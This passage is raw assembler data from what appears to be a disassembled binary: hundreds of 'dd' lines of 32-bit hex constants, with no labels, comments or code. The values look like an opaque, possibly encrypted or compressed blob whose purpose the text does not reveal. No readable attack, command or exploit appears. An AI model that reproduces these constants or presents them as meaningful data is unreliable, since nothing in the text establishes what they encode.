		dd 89B0DE7h, 10E4039h, 8438FECAh, 0EEDBC32Bh, 3BF80249h
		dd 336DC37h, 371BA9E3h,	0C14D7040h, 0B63801CBh,	84C563E0h
		dd 96B0C5F0h, 0C2AC2931h, 8CDB41B7h, 4592BB76h,	867068A6h
		dd 9016C91Dh, 86AFD5C7h, 0FAF12FACh, 0D6EC54C2h, 1343C5DFh
		dd 2A9A7D75h, 0EFB4F731h, 791A8E8Dh, 0C1093331h, 859E5362h
		dd 0AB396D69h, 0A9283AE3h, 61F37117h, 0E01BD1B9h, 9965F146h
		dd 56331877h, 0B7693D2Ch, 0FA00FA6Ah, 0E15CEE71h, 0F104B469h
		dd 0BC105876h, 7600F10Dh, 92CB0F3h, 941E80D4h, 8950FD39h
		dd 0E7E95165h, 5301AFAh, 0E2742ECDh, 0AC242BF6h, 0F82376ADh
		dd 0F40B089Fh, 763BDB7Eh, 9AB5EF47h, 0A6BFFD08h, 3270BE75h
		dd 0A5D8E6EEh, 32EDD985h
		dd 8692A7D6h, 0C4257531h, 9AC95C84h, 86C9AE7Eh,	0AC0F9C75h
		dd 2A553B38h, 0F02B294h, 1461792Eh, 933FEC9Eh, 6D22C74Eh
		dd 5C5B0E4Dh, 47480992h, 83FDFF22h, 0E6641D1Eh,	0AFA26664h
		dd 9B9A648Eh, 14BC101Bh, 0E17CD1DBh, 0C97E5CD2h, 0F5A71F6Eh
		dd 5EE3A465h, 250D81CAh, 77DC0B99h, 0C3383CF4h,	0B36DB9A7h
		dd 931B2C69h, 5FBBE861h, 0A0631412h, 2A2DCE13h,	220014BAh
		dd 4351A7A3h, 0B8293844h, 2804C8B9h, 75E4EE3Dh,	0C498E59h
		dd 26674F82h, 0ABD5A5D7h, 0F1082379h, 4AB7CCAh,	0C823B83Ch
		dd 3FBC4295h, 730B83F0h, 0E5A182C9h, 0B26E36DBh, 0C11B1BD3h
		dd 8A203166h, 95AFF991h, 0F8CCAA69h, 92AEB12Ch,	0E2A0A6F6h
		dd 0E9852EAEh, 80F5A0BFh, 8B897947h, 893C2828h,	88917066h
		dd 0C3737D23h, 12F3F517h, 0FFAD2761h, 0E2428FEh, 0EB7BFD1Ch
		dd 0B89F9799h, 835E7EE6h, 4CDC6849h, 0EF5EE103h, 5FFE540Bh
		dd 891533Dh, 89030C11h,	0F1714635h, 4E7D081Bh, 189C3BE3h
		dd 1AFEF4D5h, 90C246EFh, 949FA3F8h, 7E58812Bh, 9D52228Bh
		dd 7939FB64h, 0D26BF8C3h, 27CBDE7Ch, 2225CCD3h,	0C0FEF94Dh
		dd 4DC64048h, 0F85B7FAEh, 0AAA9BAF2h, 2A7B66CDh, 0EA50038Dh
		dd 0DA203C9Ah, 0E3A7E69Bh, 5000ED88h, 0FFDFFDE4h, 0A4A73797h
		dd 0A8E18B15h, 0D87B4CC6h, 0EB5BD388h, 0F8D1FBD7h, 0BC05A930h
		dd 47354EE9h, 35C5488Bh, 85E6A4BDh, 0E5D8E4CFh,	41205D6Fh
		dd 0D9A0A6ADh, 0D89B0385h, 0F1826F9Ah, 4CB02352h, 913F1D30h
		dd 4E1E26BFh, 0A3A79C63h, 2E26C01Eh, 4813B9Ah, 0A9A8917Dh
		dd 0B134207Fh, 0F3AE4513h, 0EBE95F0Ah, 55D3C5F8h, 6035F182h
		dd 0BF38C56Fh, 2D60BB3Dh, 9B14F018h, 211720A3h,	905BC376h
		dd 41589A67h, 17D8B86Bh, 4344EDBBh, 23BD5602h, 0A629E153h
		dd 5B840A0Ah, 28EAF2D4h, 0CF4E9F30h, 2D5DA513h,	37E2BA9h
		dd 3D0CAB06h, 11B61AAh,	78C62FBDh, 452C23ACh, 7CD24FBEh
		dd 0F46F03Dh, 13FEF1E6h, 2DDA4B02h, 90C1999Dh, 8C663177h
		dd 9669C3A6h, 0BEA32E15h, 2882835Ah, 0FEA8E481h, 8D738005h
		dd 28F302DEh, 88047E73h, 0A17B209Dh, 0F1185E92h, 0CB4672h
		dd 0A9199B12h, 0A2375A39h, 5C0E3FDFh, 7E267305h, 9F8FA7E5h
		dd 718B6311h, 8E2D4723h, 71BD7603h, 0AAFFA0BBh,	7807C355h
		dd 4F04EAD3h, 97970A11h, 2CB10381h, 20E66B5Fh, 51862732h
		dd 69C88F1Eh, 0CF8B0BB9h, 8A1D6635h, 0B8112723h, 0B4966D56h
		dd 0BA8617D5h, 0C6DDEAF7h, 8375C27Ah, 360EA6F8h, 0B8EA7F22h
		dd 13097873h, 0FA6B32BCh, 0B7C4B337h, 0FB8839BEh, 74AE9EC2h
		dd 0A6FDFD91h, 0F8E0AD74h, 0E2D49F91h, 0AB557E33h, 0F56D271Ah
		dd 2F9348FBh, 7A24A525h, 0C54955E0h, 74E7B12Eh,	0C426C027h
		dd 82EE5FC4h, 0C59B8824h, 1AFF07E8h, 850CD080h,	0F00E9339h
		dd 60A69A4Ah, 7143AB20h, 0CDB2ED0Bh, 0AE099B4Ch, 34F2C9F0h
		dd 0EE9AA05Dh, 78802BE4h, 8B240644h, 6CA5EBE4h,	7E02E6A9h
		dd 0CA9DA5C2h, 0B05AF89h, 0E617698h, 0C86922EEh, 7F7219EDh
		dd 74291395h, 0E130C7A1h, 7A75CCE5h, 2AD76151h,	0FC2298C5h
		dd 717E9081h, 0B4B5BFFDh, 4814202Ch, 8168953Dh,	0A35C8218h
		dd 0C2874439h, 1E520DDCh, 7BB310FDh, 16CC1C33h,	0F4862EE0h
		dd 717BF2F2h, 468BEAE0h, 10215AA2h, 8CFED51h, 6F0CCC5Ch
		dd 7D968EB4h, 91D8B677h, 7CEF8D38h, 42617F9Fh, 0AF8074BCh
		dd 0D3ED78Ch, 0C90C6B23h, 28813848h, 0EA973647h, 43978B15h
		dd 0E8AD9305h, 0C696371Dh, 0C6DE313Eh, 44BA6049h, 74F8AC6Ch
		dd 5228B59Eh, 0F0B8B525h, 13ABDC21h, 86DD05Dh, 0A4E53CB2h
		dd 0EA8272F8h, 6E4A9689h, 1252F5DDh, 0CE8CC7C3h, 0B4724CD9h
		dd 0C564C80Eh, 7B012573h, 0AC47E24Ch, 0A867CD4Fh, 476641BAh
		dd 31645797h, 97A149FBh, 9CDF445Bh, 0E6C80A54h,	5825CAC8h
		dd 14EBF47Eh, 0D875D216h, 0FED9380Fh, 6D9EB29Ah, 0D5559BF5h
		dd 60C466E8h, 6AFA4C63h, 0AE9F6331h, 7BC76C3h, 5C8D0D60h
		dd 620CA893h, 0E2891AFh, 1898FD8Dh, 0E6734A04h,	78622BC7h
		dd 3D5B4Eh, 0BBB86E40h,	666C8A4Eh, 0AD41E26Bh, 2AC1C9BEh
		dd 2A42E8C6h, 3B418038h, 3E4D730Fh, 0FC0D1799h,	0DC3864F1h
		dd 3ED4ED5Bh, 0E37966ADh, 1ABF6A35h, 5A604734h,	0C238FD79h
		dd 5ECF4B9Dh, 0FD43D854h, 4AEE3BDDh, 727F0F41h,	75B0E28Fh
		dd 72282EC5h, 0A5FCD901h, 17E12Eh, 0E5D6EF27h, 6508D7BCh
		dd 78F0CD00h, 0EE812FFAh, 6F606EB4h, 0E974316Fh, 0DCE9247Bh
		dd 0D11FB263h, 46890CA7h, 803E8F11h, 1AE39E44h,	0EB3A90E1h
		dd 2A8BFFD4h, 0F9505708h, 7070E83Ch, 926C3E8Ch,	0E41793Ah
		dd 644B006Ah, 0E489E265h, 0B8CE6B3Fh, 0A5B69653h, 0BD8EC716h
		dd 96460E91h, 0BCC01E43h, 6070389Bh, 14689D84h,	73844472h
		dd 0D42E2DF1h, 22EEA592h, 0F34E41D8h, 63630769h, 2775F000h
		dd 0E820DCD8h, 0B68D57AAh, 0D1DDCEF2h, 0DFAA1B75h, 5E74AFC6h
		dd 0EBF8BD38h, 0FDB2667Bh, 0BC2411BAh, 256D90F5h, 8E55646Bh
		dd 5159EEh, 3ED6C53Bh, 0DBC3272Ch, 848D05F3h, 0BACB3003h
		dd 0E866FCDFh, 0A3DE3139h, 0EA1426DEh, 6A68C454h, 5080B963h
		dd 7C8EE9ACh, 54E121A4h, 5D8D7ECh, 0EBCBCE9Ah, 0B9E67EC5h
		dd 0B43575FCh, 157A888Fh, 8DF8A478h, 0A71C0D7Ch, 0A4CB87EAh
		dd 0A679421Ah, 7919AD7Eh, 0CD571FF3h, 0EC8BBF9Eh, 0FE47F56Ah
		dd 0F360D751h, 32DAD95Ch, 0CB009FCAh, 0A62C8BF4h, 4D5A909Dh
		dd 0AFDD477h, 37743F00h, 0AA38D5ABh, 0BE5B12E9h, 1BA1FD9h
		dd 9E6BEEECh, 0FAA4530Ah, 869FD71Eh, 0DE64353Dh, 0E5742304h
		dd 5CF6A02Ch, 942481F2h, 7512A78Eh, 0F3EB6845h,	3C23950Dh
		dd 80AF32D6h, 8D98D495h, 7F86BF77h, 68136E90h, 9060E5B3h
		dd 0C71E9049h, 0BFDC263h, 75E296ADh, 0AABD1F13h, 0E4BCB598h
		dd 36430C75h, 0DBE23387h, 2ADE89EFh, 0CACA3707h, 0B23627E8h
		dd 0BBFCE9D1h, 0FAF2451Bh, 0B1AF7DAAh, 0C876BF6Fh, 0EEA7CAB1h
		dd 3E5DEBA8h, 25936E91h, 33F4B2A6h, 5CD24EA6h, 0B239BE7h
		dd 0E1099025h, 2C275326h, 89AD5EF4h, 783D43EAh,	0A3D52017h
		dd 93AD21B6h, 37D6B9Bh,	0E7ABC8D0h, 702E1894h, 272637D4h
		dd 77E2F49h, 0F8B79FDEh, 46687CD6h, 1A449FB3h, 0FD4D439Fh
		dd 1AC5BE72h, 2431C26Dh, 355DC747h, 0E766033Fh,	0B3AB9A8Ch
		dd 0C744E847h, 2F792798h, 39950442h, 3EE61BD9h,	865F871Dh
		dd 821066F0h, 579BF5F3h, 70E329C9h, 5DCCCA7Ah, 1529E65Fh
		dd 391AE06Bh, 0F00857F4h, 114F65B4h, 7E38DA6Fh,	0F8F5415h
		dd 0A66720BBh, 9AA1DFAh, 726851BDh, 7B5329BAh, 31E9AD4Fh
		dd 59489FA7h, 7B455520h, 0C9CF1731h, 8965867Dh,	0B7EAF340h
		dd 0D1DD1ABCh, 791EC269h, 0AF1E0228h, 99DEEF8Eh, 0F9BE9C75h
		dd 9D71B558h, 0EB71A279h, 59EB6869h, 3A21BA19h,	909A92F4h
		dd 4BBE3767h, 0B3B8D0C2h, 5DA7AB2Eh, 8940C35Dh,	0F149AD7Eh
		dd 5A40A11h, 5BB86BBh, 83A5CFFAh, 0FDC6ECD3h, 0FAB1E0C3h
		dd 0B562EE6h, 9A6243F5h, 0A89D1BBFh, 0BE0D65ECh, 5A82EAB7h
		dd 0B0272B84h, 164B8915h, 1581C12Fh, 524FE5AEh,	71F33F4Eh
		dd 5BE60313h, 7EEE9EF8h, 1A9DE73Ch, 0DC093F7Ch,	0CB82332Eh
		dd 0F7D8BA9Fh, 56019F0h, 0A336B529h, 37B2222Bh,	22A4A754h
		dd 0E0B6D4D0h, 87ADC760h, 3A65BF0Eh, 19C5AC44h,	0B5FC5879h
		dd 0D35AEE85h, 85A42FAEh, 0D595B788h, 23A58324h, 8685D290h
		dd 0FD2B6991h, 6C4BDA9Bh
		dd 2D0621D9h, 0ACCDB589h, 0B2ABABD0h, 0C213D2ECh, 8DA8F5FAh
		dd 0A860409Fh, 0EB05FD9Eh, 42CC1033h, 0AE0C725Bh, 0D43F69AEh
		dd 80F3464Eh, 0F93A00Ch, 7A68D841h, 0ECE7638Bh,	0BB59A704h
		dd 0FBD6C454h, 26E1D81Bh, 0B65F180Bh, 6311FF0Ah, 0BA2C8574h
		dd 0CD1CCC31h, 106A53C6h, 0E1C6109Eh, 0E6AA3EA2h, 8E24BE0Ah
		dd 0E655DC27h, 0A045D6ABh, 1FEAB8D9h, 210DBF44h, 83F468FFh
		dd 0DEB43D04h, 46FF3550h, 47689457h, 32921D70h,	142B0CA7h
		dd 0C958112Bh, 0C337FECFh, 16DABAACh, 5A6FA915h, 9FE81E78h
		dd 28E9A51h, 0B62BA930h, 86A7C376h, 55D33CEBh, 274C70AAh
		dd 24D1C525h, 8777E43Dh, 6C0AF8Bh, 58EF0315h, 680E50D0h
		dd 2E937D2Dh, 2E8D3C50h, 9D63D6Dh, 4A175ED2h, 8363EEB9h
		dd 0BC815365h, 5D69A36Bh, 0CB9088C4h, 8866EBFh,	5C9630B2h
		dd 1F6CD4FAh, 9C612583h, 0AC2C03D2h, 4ADF25A9h,	4C03306Eh
		dd 193C91ACh, 5E397E6Ah, 794C3FB1h, 147F9023h, 4E49FBCDh
		dd 0C54CE697h, 0B767D3Bh, 53843D75h, 66E6C48h, 47E4D036h
		dd 0CCA1F384h, 0BE36930Ah, 883AD8FBh, 19D853DFh, 3425899Dh
		dd 8141E309h, 6087A184h, 0E5E84D80h, 29754A23h,	3595F4A6h
		dd 185D31Bh, 15534205h,	9E7C6B4h, 7F972BFFh, 2D4FE3AFh
		dd 204BEE99h, 7171A25Eh, 5B48C3C6h, 69F55994h, 98AA22Dh
		dd 667BC1DDh, 897B8E43h, 588A2A3Ah, 0C19726C5h,	3D29FAF1h
		dd 0DA1A2D35h, 4788E453h, 300DB337h, 6EFA029Bh,	0A98CA84Ch
		dd 9BE9AFFAh, 3B5CDCECh, 2835628Ch, 909C3F0Ch, 7851D37h
		dd 9FCACBD7h, 0B9585367h, 479D47BDh, 0D4BC6F82h, 0EBABE9A1h
		dd 611A3BD0h, 5588959Fh, 2FB636AFh, 2811395Dh, 53259F1Ah
		dd 75FEFC99h, 81E863Ch,	6E016C76h, 411868EFh, 0EF8D0DBFh
		dd 0FB621D07h, 4D5F2ABDh, 0F202D962h, 0B1DDD04Fh, 28A396A6h
		dd 3A63AAEEh, 82428691h, 0D8B42353h, 0E371172Bh, 55AC515Ah
		dd 6F17EC94h, 0D3B7CC85h, 82CB248Fh, 942779B6h,	0AA4F866Ah
		dd 0A5804E75h, 328B906Ah, 7F356269h, 0EB43A8B3h, 85DA6890h
		dd 62E2B424h, 96A8C7E7h, 6B66DE84h, 6B3D2154h, 8834DE40h
		dd 2B4B5300h, 0F8F20B8Dh, 0DC89B84Ch, 2CEB4A52h, 13DD10E7h
		dd 32BDB8AEh, 0BBD43C95h, 0EE37B63Bh, 0DE919C32h, 130CEAEEh
		dd 0B728CA93h, 0FE992FC6h, 0B25438CAh, 2CC74D91h, 82B7B635h
		dd 266A6CE8h, 0BBE0FB8Bh, 2F6BB130h, 7E9D655h, 248089ECh
		dd 67B1B26Dh, 0E04C5412h, 1F7DBFACh, 3568ADC3h,	3789831Eh
		dd 0FF77D640h, 1955D050h, 0D95C35BEh, 39E686B5h, 4A8C638h
		dd 7C5B1BD6h, 562DFB34h, 6D9182F9h, 2F9FBCCBh, 0BE3030BFh
		dd 308A5C4Ah, 0DFDAB3DCh, 412C7C63h, 0C5D94B1Ch, 1EFB9DE4h
		dd 0A5796782h, 17C5E144h, 8C4E401Ah, 0BE422CEFh, 0AA54D8Dh
		dd 7C8D7D47h, 807A4CF4h, 0AFE32B61h, 0ADE70E95h, 0A1D971F8h
		dd 0F9AF7471h, 92C43BD5h, 8EF46035h, 395CCEB2h,	87A9B8AEh
		dd 8D7EE3CCh, 0B78C0D59h, 0B4A7AEC4h, 0C49A353Eh, 0D73E9B0Fh
		dd 80C729C8h, 99614D84h, 77A65691h, 7522B647h, 5D56D480h
		dd 3C6F5D10h, 4FB65724h, 0C2B4152Bh, 28E4B4EBh,	0BA63C23Ch
		dd 0B05471BBh, 31CA4D1Fh, 5437FEA9h, 0B16B472Dh, 33B9304Bh
		dd 54F3D98Ch, 40CA17EEh, 669805E9h, 0B5AD4C16h,	90C56873h
		dd 53BEE16Fh, 7476C572h, 0B659C456h, 53763A3Ch,	50C3B4CCh
		dd 14120834h, 68A620Ch,	564D5E78h, 7AB4522Ch, 0F6E0E039h
		dd 84D68B15h, 8DBC7B11h, 60BDA3F9h, 0FD3466D4h,	3F136C14h
		dd 0E43EAE42h, 7303CE38h, 9ECFB1h, 0CFD3295Fh, 0A035178Ah
		dd 330417DEh, 0D7ED218Fh, 69C1FC57h, 0EE5451A3h, 0FB8309D6h
		dd 85C13548h, 7BE66854h, 14C8E0B8h, 1369C8ACh, 0A8ADDE71h
		dd 0DF117BBBh, 3221460Dh, 0B815C069h, 24FDC8E0h, 1423E32Ch
		dd 0BAD84FB8h, 316B5E1Bh, 6A8F5C34h, 52B68FDBh,	0E9F066E7h
		dd 2641B4A9h, 6DD5C632h, 8F3B32FAh, 57A6F21Eh, 58DAFD01h
		dd 314977F1h, 51F48E1h,	24A18D45h, 0CA59F681h, 37A8F969h
		dd 8C2315E2h, 8F2B1EFCh, 0CCFE1271h, 0C84E6571h, 0B3FF9A84h
		dd 29107EC5h, 910ECCE2h, 290F19AAh, 36DAACE0h, 4A8DDE38h
		dd 0A73CCCEAh, 7107164Eh, 5370E7Fh, 68809C9Dh, 0B5EF87BAh
		dd 0A024B4AFh, 3C193815h, 90B16DB2h, 4E3C104Fh,	0A09A1DBDh
		dd 0D9C29E1Fh, 0BC6D49ACh, 0D95D1962h, 0F541CD33h, 0EAD540D3h
		dd 7379228Ch, 0D2E7CA7h, 651047ABh, 290597D6h, 6AE6DF21h
		dd 70FEAF9Dh, 5DC2B04Bh, 0DF9B962Ch, 0B1821017h, 78ED8CCBh
		dd 468BEADh, 210FDB51h,	23ED88AEh, 3516B3DEh, 60BC21CEh
		dd 6E3F763Dh, 0F8E84AE3h, 31B02F46h, 8BF27248h,	9EA5509Ch
		dd 24C98972h, 96B711F4h, 0B97AC729h, 779F0705h,	0C7BB3FFh
		dd 0B05DD2F5h, 0F5DC20F8h, 51F60FDEh, 8F467BD5h, 78791484h
		dd 0A2814646h, 0F141CCC0h, 76E74AC1h, 497C4F46h, 12D3A646h
		dd 0BD7EE024h, 0D157AFDCh, 0C50C3B0Fh, 43741812h, 1DAC052Fh
		dd 9EE6E0Ch, 10BBD11Ch,	0BE7F7CAAh, 330EB148h, 21562C11h
		dd 0B1B23544h, 0D6DEBD80h, 0E7AE58C4h, 0BD073B97h, 33385E52h
		dd 45F4FD5h, 0F01D7245h, 4BDD3674h, 898C6C25h, 5B60E102h
		dd 5976C005h, 207B2E22h, 0F3BFE26Ch, 0B95802EAh, 22743DACh
		dd 20C7A87Dh, 61E034D2h, 7F3ECD65h, 51371020h, 0C9A8C00h
		dd 2FEDCD4Ch, 31AE063Dh, 0E0B85A30h, 0F553BB15h, 0E449F38h
		dd 0AD09694Eh, 0B944E367h, 320CA63Ah, 708A79F4h, 0F64FB68Fh
		dd 0D2DE3220h, 0D2B67809h, 35421808h, 0E50FE60Ah, 3F6037A2h
		dd 720EB157h, 6F370D6Bh, 77DBEE5Eh, 63FF4D57h, 32BB2337h
		dd 2A0DF8DDh, 0FD264A0Ah, 0CAC3F70Dh, 0BE0F4101h, 354EDAB4h
		dd 1664EC6Ah, 4412D222h, 161C7FFFh, 0B9CA78D7h,	7A3750D3h
		dd 543A244h, 1CFF53B6h,	0D664678Eh, 3291D8ADh, 463FB39Ah
		dd 0C04ABF1Bh, 45B8B838h, 0F84F066Ch, 4D359E8Fh, 1B945016h
		dd 0F249F316h, 13C1DD9Fh, 96BB3365h, 4A40891h, 0B8C9B594h
		dd 0A3ECFA6Ah, 0F0998CC9h, 7278513Fh, 0DB03ADB6h, 0E12E079Dh
		dd 0DF2DE3A7h, 68EDFF32h, 0EB326F27h, 554AE692h, 0FF6A6645h
		dd 0E37CC90Dh, 3D15335Ah, 0B1394E92h, 2998C9CEh, 0ABF0D39Ah
		dd 45D7F28Fh, 0AB398C6Eh, 0F433FF4Eh, 0A803F0B2h, 0C0FF0065h
		dd 0A7CF15A1h, 795ED610h, 70FB042h, 2A43AF3Ch, 0BBB74073h
		dd 65D80911h, 783A8DFDh, 0D966CFE6h, 6CA8CF43h,	22572DB5h
		dd 0EAC4408h, 3567C8E6h, 43FE19AFh, 0FD7CF584h,	7FE99F58h
		dd 5ED7C5A7h, 0D2CA3E2Bh, 0F2CB331Ch, 1BB8FA90h, 326A139Fh
		dd 261DD708h, 89774DF7h, 5D4C00C2h, 85B900CAh, 1F851CD1h
		dd 55E0F083h, 0AE1ABC73h, 7DF53430h, 4811B17Ah,	4C87B8C4h
		dd 0BBDA5124h, 8C6F85B5h, 56459B4Bh, 0B6C7A6A2h, 0CB1AC321h
		dd 731527C3h, 74BD1AD7h, 53BC3F9Ch, 0B97908F4h,	0C3172996h
		dd 32F3A986h, 7127760Dh, 4DD25CB4h, 11A32AABh, 5C6920EBh
		dd 5CE1C7E2h, 0EA615845h, 5EA8633Bh, 69B23C17h,	142163E9h
		dd 3EE088B8h, 0E7557DF2h, 0E288C359h, 53A14CBBh, 484B863Dh
		dd 0DA002401h, 6E327395h, 648150FBh, 9BB6217Ah,	62C69D2Bh
		dd 389B70E4h, 5D0E4737h, 0F43EC5CEh, 325E0540h,	6F1112B3h
		dd 782833B3h, 0DDF095D3h, 0EDCD947Fh, 98AA641Bh, 761761B2h
		dd 8C8D1B4Dh, 87B11133h, 98B4825Dh, 4CD595BBh, 142CE4E9h
		dd 8764EDB0h, 1E7D272Fh
		dd 383C5639h, 0F88AE4Dh, 0E367E2E0h, 75D4BD90h,	91C6E5BAh
		dd 8517F275h, 1F6C3EC1h, 0F710C565h, 0B3A86D9h,	81D52236h
		dd 0CBC06ED1h, 1FCE7298h, 7B0E338Ch, 42CED0Bh, 40023793h
		dd 0E279FD94h, 0ACD72A75h, 0A4C18E58h, 32E0174Dh, 8AD712EAh
		dd 9A1E12EAh, 0C061AACEh, 4B290039h, 43675EE9h,	0FBD1406Dh
		dd 0AD30ACFh, 0B12F3375h, 0BA464332h, 7651F5h, 332A8534h
		dd 359F1BCFh, 3FCD43D3h, 5A43341Eh, 0BF847174h,	9237916Ch
		dd 6BE34002h, 22B99A81h, 78F87BF2h, 0E66C8DBEh,	0ADD15F41h
		dd 0A106DB9Eh, 80015B8Ah, 8F0D8EACh, 8AE166CEh,	256A0CAFh
		dd 84BEA25Fh, 0E2F05277h, 24A57D0h, 0CCE77064h,	0ABB4564Ch
		dd 4527D32Bh, 1F0D752Ch, 0B62C45DEh, 0FDF1544Eh, 93742E91h
		dd 550FE299h, 89DB2FCh,	0A7BBC0DCh, 756880C4h, 1A14B524h
		dd 90F26892h, 172A67D5h, 48EEE8B5h, 0BA7BA479h,	72241E0Fh
		dd 5888BCCh, 1746DA78h,	0F9404976h, 115294F3h, 2B12623Bh
		dd 39E540D9h, 0D703FF1Bh, 0E49E65DEh, 57CE5D3Dh, 68DE4078h
		dd 0B7116213h, 4D9B3A13h, 0AA31BAB7h, 46298811h, 0A94612FBh
		dd 0F31D27ADh, 0D0728B19h, 621B7F17h, 41AB05F2h, 0CFD61978h
		dd 0B6DBAF4Ah, 9A88EF2Ch, 0AE64E343h, 0F113AE4Eh, 0B1F524B3h
		dd 56B48B70h, 5B7FB63Eh, 8C56266Dh, 0E24ADA74h,	18E23B3h
		dd 0CD9FE8E6h, 27A45790h, 34B5A29Dh, 3D552B91h,	0E6869B7Ah
		dd 6E45D930h, 0F5070090h, 9BF0D9BBh, 0C5F56B25h, 4E6F5626h
		dd 6048FF18h, 87F779A5h, 2F5C9EC9h, 5B7EAE37h, 9B8702AFh
		dd 0F28B4E2h, 7037A06Eh, 0EF1099C9h, 77F94D8h, 4A6DA009h
		dd 3E90F86Bh, 6B84A2EEh, 912E8F3Bh, 32852E14h, 3959B7E1h
		dd 11AD2ECh, 0D7F6BD8Ch, 4D9C2FE2h, 2EE01241h, 0E39239D8h
		dd 62ECC6CEh, 416D6C5Ch, 0B376F41Dh, 4A7365BCh,	0E3F25101h
		dd 8B917F4Fh, 6286DBB9h, 0EFD4FFBCh, 54512A12h,	0D4222BFFh
		dd 0BEDDD18Fh, 360B1E4Fh, 13DA4CD3h, 52CE9730h,	0C0ED1D92h
		dd 4837B10h, 9C827C2Ch,	0C83CBEC2h, 0F0C2A116h,	0A1336299h
		dd 345B5479h, 46F1121Bh, 368B2588h, 115CF1B5h, 0C67FAEA9h
		dd 4C0AECBBh, 8AFA6889h, 0B882649Fh, 7826AB23h,	0A24216A6h
		dd 8D3D579Fh, 10E091Dh,	0D69517CCh, 7FE2F03Eh, 0F5D4B463h
		dd 334DD3A8h, 5753F265h, 8CF784E4h, 8F6EBC53h, 0D809F0B3h
		dd 2F5376BFh, 0CD48FEC5h, 49A541CFh, 7CA462Bh, 0A8CD33E5h
		dd 0C7EB3755h, 56D00FAAh, 0BA212818h, 0C1863335h, 38BDFF24h
		dd 8E9B8A99h, 846E7A11h, 0A5BAABF8h, 22F895D5h,	4C352CC1h
		dd 38CA98DEh, 3635E7F5h, 0AFB9E7CDh, 0ADF89E9Ah, 0A836A2B3h
		dd 94DCC295h, 0F2F58F9h, 52809D4Dh, 12E1AE22h, 0D1167B8h
		dd 17FBE589h, 0D7B43777h, 0C32ADC7Eh, 0FCD5622Ah, 6081EB28h
		dd 4E6A148Bh, 0E238CD73h, 2DFBD5C2h, 3454C4A8h,	0C03379D0h
		dd 0FF7EDF73h, 0E6DBC691h, 0C15B1248h, 5470AB2Bh, 0AFDB3153h
		dd 167B37EFh, 6D6EA352h, 4F208D6Bh, 0E4DDC1EFh,	1C5E040Ch
		dd 580766EDh, 9A62529Ch, 7BD808F9h, 54BD666Eh, 0F275D8B2h
		dd 0C9FED808h, 0E66E3074h, 40CA1CAFh, 0B7FAA41Fh, 7421581Bh
		dd 8C32A860h, 6F70DC2Ah, 0CCDC822Bh, 8F9C047Bh,	7BEBD305h
		dd 0AE7CD0h, 7EE06B21h,	2A9FAF5Fh, 0BA0894h, 0DFF34622h
		dd 0A4FD6A40h, 8D5125C8h, 55BD42C7h, 0D132AF5h,	5FEE326Bh
		dd 3D35CA93h, 0EEEC7F69h, 0C034FEA3h, 8BBCF503h, 0C1664AC0h
		dd 0FB90EA19h, 868A35DEh, 99FCD942h, 0F8710CF9h, 7670E1B4h
		dd 0CED25134h, 37C5E2B4h, 4E4605h, 0EA8FCACFh, 0D076699Bh
		dd 8BAAA6F6h, 16AEE56Dh, 692756D0h, 0E8144B6Ch,	8AAB7628h
		dd 0A0A6B74Ah, 6E1E4AD7h, 0C7EBE0C5h, 4C7EE506h, 6F33CD3Eh
		dd 85D9133Bh, 2ADE9E0Fh, 0B0FFD2CCh, 6031C519h,	0CCC2B8ECh
		dd 3496CA29h, 3C0D21CAh, 43C0BB96h, 7BD34EF0h, 86370D41h
		dd 29E3C07Ch, 8BA3CD71h, 432541F1h, 703CFCF7h, 35DA2EFDh
		dd 0D9881C6Ch, 639129D4h, 66C6137Ch, 0F577573Ch, 4D493D36h
		dd 3B2CE71Dh, 0B6B19A98h, 0E1BE61AAh, 40E81D78h, 3CC9154Ch
		dd 3233ACADh, 8BDCB13h,	0B4DCB080h, 2AB9DE87h, 0F025F556h
		dd 70643DA7h, 0B2598335h, 7E0607C0h, 18ABB8D0h,	0F96FF7Ch
		dd 6950B626h, 65D533B1h, 16D6CF37h, 33159ADFh, 0AF393DABh
		dd 65CD190Eh, 0C69EE9D8h, 3E6433E2h, 1B0C3280h,	57A61DD3h
		dd 2ED3AEBCh, 3984E6ADh, 0B64ED4FCh, 7B35DD14h,	41EF5757h
		dd 0D33077C7h, 5C5C160Ch, 2DE10209h, 59C0375Ah,	0FB12F64Eh
		dd 819987A7h, 1E502B66h, 6FC9A09Bh, 0EE2366A4h,	0D59D5632h
		dd 2C94C3F7h, 14AD1267h, 4F809590h, 619C8595h, 0AABAA01Dh
		dd 0DD534EB7h, 64DC90Ah, 0F3821F2Dh, 5D42CA1Eh,	0A3028637h
		dd 0A4A39E4Bh, 1AF98C4Eh, 0E5955293h, 318507D7h, 0CAB285ABh
		dd 0C5A68D14h, 92369991h, 69841D0Dh, 898C9E45h,	28B4BF06h
		dd 2275E002h, 0E3E271E1h, 6C902345h, 5802ACACh,	0B2478CAFh
		dd 1AE4F095h, 0C57AC9F1h, 38EF9E33h, 6160D82Ch,	5942D437h
		dd 45760D67h, 2F9F0016h, 1DC127A6h, 97058A8h, 2348049h
		dd 0FFA1AD7Fh, 0DBC9DB34h, 55FDCDD5h, 9C08EEB4h, 7E5C021h
		dd 690E5707h, 0FAC4DED2h, 0DC4DE801h, 16AE49Dh,	8903728Dh
		dd 7C1358ADh, 8D55340Eh, 89BC733h, 53CEDCCBh, 77752836h
		dd 9CE8116Bh, 0E9ED60B2h, 35C1283Ah, 77420AC6h,	0BCB62788h
		dd 0E4ED83C2h, 0DD0798EAh, 6A8D39C7h, 5EDFCD9h,	96258234h
		dd 87523250h, 0B42E6A97h, 0F2EEA4A4h, 0F6602D97h, 5AC4B334h
		dd 8361EF54h, 0C90E067Fh, 0EFE31063h, 22276038h, 90481684h
		dd 5BF73F6Bh, 50AFCEE2h, 8B09E398h, 0A8CB04EBh,	11DD0BC1h
		dd 4147EACBh, 63CCDA5Dh, 8CF56042h, 0B4318DDCh,	0F4F47E9h
		dd 24F1AACFh, 2A75CBC9h, 232356A2h, 671B2924h, 0AD3D5292h
		dd 1F0F53C6h, 7187FB56h, 9F23A928h, 0C384FA03h,	15FC5CDBh
		dd 4B41C844h, 0A80EB51Dh, 23CF8F80h, 1FD77FDBh,	99E85C3Dh
		dd 0C0A2A58Ah, 4DDB4744h, 2AD48C38h, 16ACC113h,	21A3F465h
		dd 0D997050Dh, 46C6F2Fh, 4DBF41F8h, 0A366887Fh,	0F6BCAE77h
		dd 8771A37h, 0F9D21A44h, 0C06D2BA0h, 4CCB7376h,	0E54CE4A3h
		dd 0C597C15Fh, 1CD04EA7h, 0CA9FD299h, 5049055Ch, 8CFD17A8h
		dd 3379C23h, 0E8BB2600h, 9449CC13h, 32994872h, 29EC8960h
